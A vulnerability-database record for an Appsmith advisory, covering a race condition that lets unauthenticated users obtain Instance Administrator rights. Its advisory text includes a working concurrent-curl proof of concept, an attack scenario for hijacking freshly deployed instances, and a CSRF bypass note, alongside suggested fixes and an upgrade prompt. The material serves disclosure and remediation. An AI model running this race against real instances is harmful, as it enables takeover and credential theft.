{"answers":{"affected":"2 open source packages ship an affected version, including com.appsmith:server.","exploited":"There is no known exploitation of GHSA-9wcp-79g5-5c3c in the wild and no public exploit code.","fix":"Upgrade com.appsmith:server to 1.99 or later.","what":"GHSA-9wcp-79g5-5c3c is a vulnerability in com.appsmith:server, published on 12 Jun 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-9wcp-79g5-5c3c and fix it if it is affected.\n\nWhat it is: GHSA-9wcp-79g5-5c3c is a vulnerability in com.appsmith:server, published on 12 Jun 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-9wcp-79g5-5c3c in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- com.appsmith:server (Maven): affected all versions; fixed in 1.99\n- com.appsmith:server (Maven): affected all versions; fixed in 1.99\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-9wcp-79g5-5c3c/ (Markdown: https://insights.sbomify.com/GHSA-9wcp-79g5-5c3c/index.md)","id":"GHSA-9wcp-79g5-5c3c","markdown":"https://insights.sbomify.com/GHSA-9wcp-79g5-5c3c/index.md","name":"GHSA-9wcp-79g5-5c3c","record":{"aliases":[],"analysis":{"component_type":"web_application","fix_type":"patch","impacts":["privilege_escalation"],"network_reachable":"yes","non_default_config":false,"product_category":"Appsmith low-code platform","requires_auth":"none","summary":"A race condition in Appsmith's super user creation endpoint allows attackers to bypass single-admin restrictions and gain Instance Administrator privileges.","user_interaction":"not_required","vuln_class":"race_condition"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Summary\n\nThe `/api/v1/users/super` endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the `signupAndLoginSuper()` method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges.\n\n## Severity\n\n- **CWE**: CWE-367 (Time-of-Check Time-of-Use Race Condition)\n- **CVSS 3.1**: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — **8.1 (HIGH)**\n\n## Affected Version\n\n- Appsmith Community Edition v1.97.0-SNAPSHOT (release branch)\n- Docker image: `appsmith/appsmith-ce:release` (pulled 2026-02-25)\n- Commit: `55ac824f8d42f934cc7a69f8abc52880a6ad39ef`\n\n## Root Cause\n\nThe `signupAndLoginSuper()` method in `UserSignupCEImpl.java` (lines 270–295) performs a non-atomic check-then-act sequence:\n\n```java\n// Step 1: CHECK — query MongoDB for existing users\nuserService.isUsersEmpty()\n    .flatMap(isEmpty -\u003e {\n        if (!Boolean.TRUE.equals(isEmpty)) {\n            return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS));\n        }\n        // Step 2: ACT — create user and grant admin (not atomic with Step 1)\n        return signupAndLogin(user, exchange);\n    })\n    .flatMap(user -\u003e userUtils.makeInstanceAdministrator(List.of(user)));\n```\n\nThe `isUsersEmpty()` method (`CustomUserRepositoryCEImpl.java`, lines 35–44) queries MongoDB without any locking mechanism:\n\n```java\npublic Mono\u003cBoolean\u003e isUsersEmpty() {\n    return queryBuilder()\n            .criteria(Bridge.or(\n                    notExists(User.Fields.isSystemGenerated),\n                    Bridge.isFalse(User.Fields.isSystemGenerated)))\n            .limit(1).all(IdOnly.class).count().map(count -\u003e count == 0);\n}\n```\n\nThere is no `@Transactional` annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly.\n\n## Proof of Concept\n\n### Environment Setup\n\n```bash\n# Start a fresh Appsmith instance\ndocker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release\n# Wait ~90 seconds for all services to initialize\n```\n\n### Step 1: Verify Fresh State\n\n```bash\ncurl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool\n# Expected: {\"data\": {\"email\": \"anonymousUser\", ...}}\n```\n\n### Step 2: Send Concurrent Requests\n\n```bash\nfor i in $(seq 1 10); do\n  curl -s -o /tmp/race_result_${i}.txt -w \"%{http_code}\" \\\n    -X POST http://localhost:9090/api/v1/users/super \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    -H \"X-Requested-By: Appsmith\" \\\n    -d \"email=racer${i}@evil.com\u0026password=TestP4ssw0rd!\u0026name=Racer${i}\u0026allowCollectingAnonymousData=false\" \u0026\ndone\nwait\n\n# Check results\nfor i in $(seq 1 10); do\n  echo \"racer${i}: $(cat /tmp/race_result_${i}.txt)\"\ndone\n```\n\n### Step 3: Verify in MongoDB\n\n```javascript\n// Connect to MongoDB inside the container\n// docker exec -it appsmith-test mongosh \u003cconnection_string\u003e\n\n// Count non-system users (expected: 1, actual: 10)\ndb.user.countDocuments({ isSystemGenerated: { $ne: true } })\n\n// Check who has manage:users permission\ndb.user.find(\n  { isSystemGenerated: { $ne: true } },\n  { email: 1, \"policies.permission\": 1 }\n).forEach(u =\u003e {\n  const hasManage = u.policies?.some(p =\u003e p.permission === \"manage:users\");\n  printjson({ email: u.email, manage_users: hasManage });\n});\n\n// Check Instance Administrator Role assignments\ndb.permissionGroup.findOne(\n  { name: \"Instance Administrator Role\" },\n  { assignedToUserIds: 1 }\n);\n```\n\n### Observed Results\n\n| Metric | Expected | Actual |\n|--------|----------|--------|\n| Users created | 1 | **10** |\n| Users with `manage:users` policy | 1 | **10** |\n| Users in Instance Administrator Role | 1 | **2** |\n\nAll 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.\n\n## Impact\n\n1. **Authorization Bypass**: The one-admin-only restriction is completely defeated by concurrent requests.\n\n2. **Persistent Backdoor**: The attacker's admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.\n\n3. **Full Instance Compromise**: Instance Administrator privileges grant:\n   - User management (create, delete, modify all users)\n   - Access to all datasource credentials (database passwords, API keys)\n   - Modification of all applications and their server-side logic\n   - Environment configuration (SMTP, OAuth, encryption settings)\n\n## Attack Scenario\n\n1. Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning).\n2. Attacker polls `GET /api/v1/users/me` — if the response contains `\"email\": \"anonymousUser\"`, the instance has not been set up yet.\n3. Attacker sends multiple concurrent `POST /api/v1/users/super` requests.\n4. Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges.\n5. Attacker now has persistent, full administrative access to the instance.\n\n## Suggested Fix\n\n### Option A: MongoDB Transaction (Recommended)\n\nWrap the check-and-create in a MongoDB transaction to ensure atomicity:\n\n```java\npublic Mono\u003cUser\u003e signupAndLoginSuper(...) {\n    return reactiveMongoTemplate.inTransaction().execute(session -\u003e {\n        return userService.isUsersEmpty()\n            .flatMap(isEmpty -\u003e {\n                if (!Boolean.TRUE.equals(isEmpty)) {\n                    return Mono.error(new AppsmithException(\n                        AppsmithError.UNAUTHORIZED_ACCESS));\n                }\n                return signupAndLogin(user, exchange);\n            });\n    }).single()\n    .flatMap(user -\u003e userUtils.makeInstanceAdministrator(List.of(user)));\n}\n```\n\n### Option B: Distributed Lock\n\nUse Redis (already available in Appsmith's stack) to acquire an exclusive lock:\n\n```java\npublic Mono\u003cUser\u003e signupAndLoginSuper(...) {\n    return redisLockService.acquireLock(\"super-user-setup\", Duration.ofSeconds(10))\n        .flatMap(lock -\u003e userService.isUsersEmpty()\n            .flatMap(isEmpty -\u003e {\n                if (!Boolean.TRUE.equals(isEmpty)) {\n                    return Mono.error(...);\n                }\n                return signupAndLogin(user, exchange);\n            })\n            .doFinally(signal -\u003e lock.release()));\n}\n```\n\n### Option C: Unique Constraint\n\nAdd a MongoDB unique partial index that prevents more than one super admin:\n\n```javascript\ndb.user.createIndex(\n  { \"isSuperAdmin\": 1 },\n  { unique: true, partialFilterExpression: { \"isSuperAdmin\": true } }\n);\n```\n\n## CSRF Note\n\nThe `POST /api/v1/users/super` endpoint accepts `application/x-www-form-urlencoded` content type. CSRF protection can be bypassed by including the `X-Requested-By: Appsmith` header (`CsrfConfigCE.java`, lines 99–102), which is a static, publicly known value.","ecosystems":["Maven"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Appsmith Super User Creation Race Condition Allows Multiple Instance Administrators","id":"GHSA-9wcp-79g5-5c3c","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Maven","product":null,"products":[],"type":"race_condition","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"Maven","fixed":["1.99"],"introduced":["0"],"last_affected":[],"package":"com.appsmith:server","purl":null,"source":"GHSA-9wcp-79g5-5c3c"},{"ecosystem":"Maven","fixed":["1.99"],"introduced":["0"],"last_affected":[],"package":"com.appsmith:server","purl":"pkg:maven/com.appsmith/server","source":"GHSA-9wcp-79g5-5c3c"}],"products":null,"published":"2026-06-12","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"A race condition in Appsmith's super user creation endpoint allows attackers to bypass single-admin restrictions and gain Instance Administrator privileges.","url":"https://insights.sbomify.com/GHSA-9wcp-79g5-5c3c/"}